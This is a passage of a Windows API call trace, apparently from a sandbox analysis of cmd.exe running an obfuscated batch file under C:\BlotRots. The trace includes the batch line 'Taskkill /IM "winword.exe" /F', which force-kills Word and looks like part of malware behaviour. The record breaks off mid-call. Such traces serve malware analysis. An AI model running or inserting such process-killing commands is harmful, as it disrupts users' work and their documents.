0x20b0f9269b0 [0162.809] GetProcessHeap () returned 0x20b0f920000 [0162.809] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.809] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.809] GetProcessHeap () returned 0x20b0f920000 [0162.809] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.809] GetProcessHeap () returned 0x20b0f920000 [0162.809] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.809] GetProcessHeap () returned 0x20b0f920000 [0162.809] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.809] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.809] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.809] GetLastError () returned 0x2 [0162.809] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.809] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.809] GetLastError () returned 0x2 [0162.809] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.810] GetLastError () returned 0x2 [0162.810] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.810] GetLastError () returned 0x2 [0162.810] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.810] GetLastError () returned 0x2 [0162.810] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.810] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.810] GetLastError () returned 0x2 [0162.810] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.810] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.811] GetLastError () returned 0x2 [0162.811] ??_V@YAXPEAX@Z () returned 0x1 [0162.811] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.811] GetFileType (hFile=0x54) returned 0x2 [0162.811] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.811] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.812] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.812] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.812] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.812] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.812] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0162.820] ??_V@YAXPEAX@Z () returned 0x1 [0162.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.821] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.821] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.822] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.822] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.822] SetConsoleInputExeNameW () returned 0x1 [0162.822] GetConsoleOutputCP () returned 0x1b5 [0162.822] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.822] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.824] ??_V@YAXPEAX@Z () returned 0x1 [0162.825] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.826] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.826] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.826] SetFilePointer (in: hFile=0x94, lDistanceToMove=1763, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e3 [0162.826] GetProcessHeap () returned 0x20b0f920000 [0162.826] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.826] GetProcessHeap () returned 0x20b0f920000 [0162.826] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.826] GetProcessHeap () returned 0x20b0f920000 [0162.826] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.826] GetProcessHeap () returned 0x20b0f920000 [0162.826] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0162.826] GetProcessHeap () returned 0x20b0f920000 [0162.826] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0162.826] GetProcessHeap () returned 0x20b0f920000 [0162.827] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0162.827] GetProcessHeap () returned 0x20b0f920000 [0162.827] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.827] GetProcessHeap () returned 0x20b0f920000 [0162.827] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.827] GetProcessHeap () returned 0x20b0f920000 [0162.827] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.827] GetProcessHeap () returned 0x20b0f920000 [0162.827] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.828] GetProcessHeap () returned 0x20b0f920000 [0162.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.828] GetProcessHeap () returned 0x20b0f920000 [0162.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946ec0) returned 1 [0162.828] GetProcessHeap () returned 0x20b0f920000 [0162.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.828] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.828] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6e3 [0162.828] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x10d2, lpOverlapped=0x0) returned 1 [0162.828] SetFilePointer (in: hFile=0x94, lDistanceToMove=1772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec [0162.828] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.829] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.829] GetFileType (hFile=0x94) returned 0x1 [0162.829] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.829] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec [0162.829] GetProcessHeap () returned 0x20b0f920000 [0162.829] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f947680 [0162.831] GetProcessHeap () returned 0x20b0f920000 [0162.831] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947680) returned 1 [0162.831] _tell (_FileHandle=3) returned 1772 [0162.831] _close (_FileHandle=3) returned 0 [0162.832] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.832] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.832] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.832] SetFilePointer (in: hFile=0x94, lDistanceToMove=1772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec [0162.833] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.833] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec [0162.833] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x10c9, lpOverlapped=0x0) returned 1 [0162.834] SetFilePointer (in: hFile=0x94, lDistanceToMove=1803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x70b [0162.834] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=31, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="Taskkill /IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 31 [0162.834] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.834] GetFileType (hFile=0x94) returned 0x1 [0162.834] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.834] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x70b [0162.834] GetProcessHeap () returned 0x20b0f920000 [0162.834] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f947680 [0162.835] GetProcessHeap () returned 0x20b0f920000 [0162.835] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947680) returned 1 [0162.835] _wcsicmp (_String1="Taskkill", _String2=")") returned 75 [0162.835] _wcsicmp (_String1="FOR", _String2="Taskkill") returned -14 [0162.836] _wcsicmp (_String1="FOR/?", _String2="Taskkill") returned -14 [0162.836] _wcsicmp (_String1="IF", _String2="Taskkill") returned -11 [0162.836] _wcsicmp (_String1="IF/?", _String2="Taskkill") returned -11 [0162.836] _wcsicmp (_String1="REM", _String2="Taskkill") returned -2 [0162.836] _wcsicmp (_String1="REM/?", _String2="Taskkill") returned -2 [0162.836] GetProcessHeap () returned 0x20b0f920000 [0162.836] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.836] GetProcessHeap () returned 0x20b0f920000 [0162.836] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x22) returned 0x20b0f928040 [0162.836] GetProcessHeap () returned 0x20b0f920000 [0162.836] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x3c) returned 0x20b0f92c970 [0162.836] _tell (_FileHandle=3) returned 1803 [0162.836] _close (_FileHandle=3) returned 0 [0162.836] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.836] GetFileType (hFile=0x50) returned 0x2 [0162.836] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.836] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.837] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.837] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.847] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.847] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.847] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.847] GetFileType (hFile=0x50) returned 0x2 [0162.847] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.847] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.848] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.849] GetFileType (hFile=0x50) returned 0x2 [0162.849] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.849] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.850] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x8, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x8) returned 1 [0162.850] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" /IM \"winword.exe\" /F ") returned 22 [0162.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.851] GetFileType (hFile=0x50) returned 0x2 [0162.851] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.851] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.851] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x16, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x16) returned 1 [0162.852] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.852] GetFileType (hFile=0x50) returned 0x2 [0162.852] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.852] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.852] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.857] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.857] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.858] _wcsicmp (_String1="Taskkill", _String2="DIR") returned 16 [0162.858] _wcsicmp (_String1="Taskkill", _String2="ERASE") returned 15 [0162.858] _wcsicmp (_String1="Taskkill", _String2="DEL") returned 16 [0162.858] _wcsicmp (_String1="Taskkill", _String2="TYPE") returned -24 [0162.858] _wcsicmp (_String1="Taskkill", _String2="COPY") returned 17 [0162.858] _wcsicmp (_String1="Taskkill", _String2="CD") returned 17 [0162.858] _wcsicmp (_String1="Taskkill", _String2="CHDIR") returned 17 [0162.858] _wcsicmp (_String1="Taskkill", _String2="RENAME") returned 2 [0162.858] _wcsicmp (_String1="Taskkill", _String2="REN") returned 2 [0162.858] _wcsicmp (_String1="Taskkill", _String2="ECHO") returned 15 [0162.858] _wcsicmp (_String1="Taskkill", _String2="SET") returned 1 [0162.858] _wcsicmp (_String1="Taskkill", _String2="PAUSE") returned 4 [0162.858] _wcsicmp (_String1="Taskkill", _String2="DATE") returned 16 [0162.858] _wcsicmp (_String1="Taskkill", _String2="TIME") returned -8 [0162.858] _wcsicmp (_String1="Taskkill", _String2="PROMPT") returned 4 [0162.858] _wcsicmp (_String1="Taskkill", _String2="MD") returned 7 [0162.858] _wcsicmp (_String1="Taskkill", _String2="MKDIR") returned 7 [0162.858] _wcsicmp (_String1="Taskkill", _String2="RD") returned 2 [0162.858] _wcsicmp (_String1="Taskkill", _String2="RMDIR") returned 2 [0162.858] _wcsicmp (_String1="Taskkill", _String2="PATH") returned 4 [0162.858] _wcsicmp (_String1="Taskkill", _String2="GOTO") returned 13 [0162.858] _wcsicmp (_String1="Taskkill", _String2="SHIFT") returned 1 [0162.858] _wcsicmp (_String1="Taskkill", _String2="CLS") returned 17 [0162.858] _wcsicmp (_String1="Taskkill", _String2="CALL") returned 17 [0162.859] _wcsicmp (_String1="Taskkill", _String2="VERIFY") returned -2 [0162.859] _wcsicmp (_String1="Taskkill", _String2="VER") returned -2 [0162.859] _wcsicmp (_String1="Taskkill", _String2="VOL") returned -2 [0162.859] _wcsicmp (_String1="Taskkill", _String2="EXIT") returned 15 [0162.859] _wcsicmp (_String1="Taskkill", _String2="SETLOCAL") returned 1 [0162.859] _wcsicmp (_String1="Taskkill", _String2="ENDLOCAL") returned 15 [0162.859] _wcsicmp (_String1="Taskkill", _String2="TITLE") returned -8 [0162.859] _wcsicmp (_String1="Taskkill", _String2="START") returned 1 [0162.859] _wcsicmp (_String1="Taskkill", _String2="DPATH") returned 16 [0162.859] _wcsicmp (_String1="Taskkill", _String2="KEYS") returned 9 [0162.859] _wcsicmp (_String1="Taskkill", _String2="MOVE") returned 7 [0162.859] _wcsicmp (_String1="Taskkill", _String2="PUSHD") returned 4 [0162.859] _wcsicmp (_String1="Taskkill", _String2="POPD") returned 4 [0162.859] _wcsicmp (_String1="Taskkill", _String2="ASSOC") returned 19 [0162.859] _wcsicmp (_String1="Taskkill", _String2="FTYPE") returned 14 [0162.859] _wcsicmp (_String1="Taskkill", _String2="BREAK") returned 18 [0162.859] _wcsicmp (_String1="Taskkill", _String2="COLOR") returned 17 [0162.859] _wcsicmp (_String1="Taskkill", _String2="MKLINK") returned 7 [0162.859] _wcsnicmp (_String1="Task", _String2="cmd ", _MaxCount=0x4) returned 17 [0162.859] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.859] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.862] GetProcessHeap () returned 0x20b0f920000 [0162.862] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.864] SetErrorMode (uMode=0x0) returned 0x0 [0162.864] SetErrorMode (uMode=0x1) returned 0x0 [0162.864] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.864] SetErrorMode (uMode=0x0) returned 0x1 [0162.864] GetProcessHeap () returned 0x20b0f920000 [0162.864] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x4a) returned 0x20b0f957f90 [0162.864] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x4a [0162.865] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.865] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.865] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92cb10 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92cb10, Size=0x7e) returned 0x20b0f92cb10 [0162.865] GetProcessHeap () returned 0x20b0f920000 [0162.865] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92cb10) returned 0x7e [0162.865] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0162.865] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0162.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.866] GetLastError () returned 0x2 [0162.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d270 [0162.866] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0162.866] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0162.866] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0162.866] ??_V@YAXPEAX@Z () returned 0x1 [0162.866] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.867] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.867] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.867] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.867] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.867] _wcsicmp (_String1="Taskkill", _String2="DIR") returned 16 [0162.867] _wcsicmp (_String1="Taskkill", _String2="ERASE") returned 15 [0162.867] _wcsicmp (_String1="Taskkill", _String2="DEL") returned 16 [0162.867] _wcsicmp (_String1="Taskkill", _String2="TYPE") returned -24 [0162.867] _wcsicmp (_String1="Taskkill", _String2="COPY") returned 17 [0162.868] _wcsicmp (_String1="Taskkill", _String2="CD") returned 17 [0162.868] _wcsicmp (_String1="Taskkill", _String2="CHDIR") returned 17 [0162.868] _wcsicmp (_String1="Taskkill", _String2="RENAME") returned 2 [0162.868] _wcsicmp (_String1="Taskkill", _String2="REN") returned 2 [0162.868] _wcsicmp (_String1="Taskkill", _String2="ECHO") returned 15 [0162.868] _wcsicmp (_String1="Taskkill", _String2="SET") returned 1 [0162.868] _wcsicmp (_String1="Taskkill", _String2="PAUSE") returned 4 [0162.868] _wcsicmp (_String1="Taskkill", _String2="DATE") returned 16 [0162.868] _wcsicmp (_String1="Taskkill", _String2="TIME") returned -8 [0162.868] _wcsicmp (_String1="Taskkill", _String2="PROMPT") returned 4 [0162.868] _wcsicmp (_String1="Taskkill", _String2="MD") returned 7 [0162.868] _wcsicmp (_String1="Taskkill", _String2="MKDIR") returned 7 [0162.868] _wcsicmp (_String1="Taskkill", _String2="RD") returned 2 [0162.868] _wcsicmp (_String1="Taskkill", 